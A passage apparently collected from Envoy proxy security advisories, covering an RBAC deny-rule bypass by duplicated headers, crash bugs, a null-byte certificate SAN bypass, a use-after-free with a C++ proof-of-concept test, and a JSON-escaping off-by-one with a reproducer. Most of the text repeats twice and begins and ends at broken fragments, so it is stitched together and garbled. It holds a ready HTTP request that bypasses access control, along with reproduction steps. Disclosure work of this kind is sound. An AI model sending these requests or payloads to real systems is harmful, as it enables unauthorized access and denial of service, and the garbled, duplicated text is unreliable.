}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

Envoy’s mTLS certificate matcher for match_typed_subject_alt_names may incorrectly treat certificates containing an embedded null byte (\0) inside an OTHERNAME SAN value as valid matches.

Details

This occurs when the SAN is encoded as a BMPSTRING or UNIVERSALSTRING, and its UTF-8 conversion result is truncated at the first null byte during string assignment. As a result, "victim\0evil" may match an exact: "victim" rule and be accepted by Envoy.

PoC

Create a CA and a server certificate signed by that CA. Create two client certificates signed by the same CA: client_evil with OTHERNAME BMPSTRING = "evil" client_null with OTHERNAME BMPSTRING = "victim\0evil" Configure Envoy with require_client_certificate: true and a match_typed_subject_alt_names entry for the OTHERNAME OID with matcher.exact: "victim". Connect without a client cert → connection rejected. Connect with client_evil → connection rejected. Connect with client_null → connection accepted (but shouldn't!).

Impact

An attacker who can obtain a trusted client certificate with a null byte embedded in an OTHERNAME SAN can exploit this vulnerability. The practical impact is unauthorized impersonation of the matched identity, enabling access to services or APIs protected by that exact OTHERNAME check.

Credit

markevich.nikita1@gmail.com

Summary

Forwarding of early CONNECT data in TCP proxy mode.

Details

Per RFC 7231-4.3.6 the sender of CONNECT (and all inbound proxies) switch to tunnel mode only after receiving 2xx response. However in TCP proxy mode, Envoy accepts client data before it has issued a 2xx response and eagerly proxies it to an established TCP connection. This creates possibility of a de-synchronized tunnel state if a proxy upstream from Envoy responds with a status other an 2xx.

The RFC does not specify the behavior in case an early CONNECT data is received and early CONNECT data is common as a latency reduction mechanism. To prevent disruption to existing deployments Envoy will by default allow early CONNECT data. Setting the envoy.reloadable_features.reject_early_connect_data runtime flag to true will cause CONNECT requests that send data before 2xx response to be rejected. This options should be enabled if there are intermediaries upstream from Envoy that may reject establishment of a CONNECT tunnel.

Impact

De-synchronization of CONNECT tunnel state if a forwarding proxy upstream from Envoy responds with a non 2xx status.

Attack vector(s)

Sending data for a CONNECT request before receiving 2xx response.

Patches

Users should upgrade to v1.36.3, v1.35.7, v1.34.11 or v1.33.13

Credits

chasingimpact (Patrick)

Summary

Envoy crashes when JWT authentication is configured with the remote JWKS fetching, allow_missing_or_failed is enabled, multiple JWT tokens are present in the request headers and the JWKS fetch fails.

Details

This is caused by a re-entry bug in the JwksFetcherImpl. When the first token's JWKS fetch fails, onJwksError() callback triggers processing of the second token, which calls fetch() again on the same fetcher object.

The original callback's reset() then clears the second fetch's state (receiver_ and request_) which causes a crash when the async HTTP response arrives.

PoC

• allow_missing_or_failed or allow_missing is enabled
• The client send 2 Authorization headers
• the remote JWKS fetching failed
• There will be crash

Impact

DoS and Crash

Mitigation

• Disable the allow_missing_or_failed or allow_missing

Summary

At the rate limit filter, if we enabled the response phase limit with apply_on_stream_done in the rate limit configuration and the response phase limit request fails directly, it may crash Envoy.

Details

When both the request phase limit and response phase limit are enabled, the safe gRPC client instance will be re-used for both the request phase request and response phase request.

But after the request phase request is done, the inner state of the request phase limit request in gRPC client is not cleaned up. When we send the second limit request at response phase, and the second limit request fails directly, we may access the previous request's inner state and result in crash.

PoC

This need to mock the network failure. But we have reproduced by unit test locally.

Impact

This only happens when both the request phase limit and response phase limit are enabled in the rate limit filter, and requires the request to rate limit service fails directly (For example, if from Envoy's perspective, no healthy endpoint for rate limit service may result the request fails directly). That's say, not easy to trigger this.

To workaround

This could be worked around by splitting the rate limit filter. That is, if there is a rate limit filter that contains normal rate limit configuration (request phase limit, without apply_on_stream_done) and also rate limit configuration with apply_on_stream_done (response phase limit). Splitting them into two rate limit filters and ensure one filter only contains normal rate limit configuration (without apply_on_stream_done), and one only contains rate limit configuration with apply_on_stream_done could avoid this problem.

Credit

Mandar Jog (mandarjog@gmail.com)

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

Envoy’s mTLS certificate matcher for match_typed_subject_alt_names may incorrectly treat certificates containing an embedded null byte (\0) inside an OTHERNAME SAN value as valid matches.

Details

This occurs when the SAN is encoded as a BMPSTRING or UNIVERSALSTRING, and its UTF-8 conversion result is truncated at the first null byte during string assignment. As a result, "victim\0evil" may match an exact: "victim" rule and be accepted by Envoy.

PoC

Create a CA and a server certificate signed by that CA. Create two client certificates signed by the same CA: client_evil with OTHERNAME BMPSTRING = "evil" client_null with OTHERNAME BMPSTRING = "victim\0evil" Configure Envoy with require_client_certificate: true and a match_typed_subject_alt_names entry for the OTHERNAME OID with matcher.exact: "victim". Connect without a client cert → connection rejected. Connect with client_evil → connection rejected. Connect with client_null → connection accepted (but shouldn't!).

Impact

An attacker who can obtain a trusted client certificate with a null byte embedded in an OTHERNAME SAN can exploit this vulnerability. The practical impact is unauthorized impersonation of the matched identity, enabling access to services or APIs protected by that exact OTHERNAME check.

Credit

markevich.nikita1@gmail.com

Summary

Forwarding of early CONNECT data in TCP proxy mode.

Details

Per RFC 7231-4.3.6 the sender of CONNECT (and all inbound proxies) switch to tunnel mode only after receiving 2xx response. However in TCP proxy mode, Envoy accepts client data before it has issued a 2xx response and eagerly proxies it to an established TCP connection. This creates possibility of a de-synchronized tunnel state if a proxy upstream from Envoy responds with a status other an 2xx.

The RFC does not specify the behavior in case an early CONNECT data is received and early CONNECT data is common as a latency reduction mechanism. To prevent disruption to existing deployments Envoy will by default allow early CONNECT data. Setting the envoy.reloadable_features.reject_early_connect_data runtime flag to true will cause CONNECT requests that send data before 2xx response to be rejected. This options should be enabled if there are intermediaries upstream from Envoy that may reject establishment of a CONNECT tunnel.

Impact

De-synchronization of CONNECT tunnel state if a forwarding proxy upstream from Envoy responds with a non 2xx status.

Attack vector(s)

Sending data for a CONNECT request before receiving 2xx response.

Patches

Users should upgrade to v1.36.3, v1.35.7, v1.34.11 or v1.33.13

Credits

chasingimpact (Patrick)

Summary

Envoy crashes when JWT authentication is configured with the remote JWKS fetching, allow_missing_or_failed is enabled, multiple JWT tokens are present in the request headers and the JWKS fetch fails.

Details

This is caused by a re-entry bug in the JwksFetcherImpl. When the first token's JWKS fetch fails, onJwksError() callback triggers processing of the second token, which calls fetch() again on the same fetcher object.

The original callback's reset() then clears the second fetch's state (receiver_ and request_) which causes a crash when the async HTTP response arrives.

PoC

• allow_missing_or_failed or allow_missing is enabled
• The client send 2 Authorization headers
• the remote JWKS fetching failed
• There will be crash

Impact

DoS and Crash

Mitigation

• Disable the allow_missing_or_failed or allow_missing

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

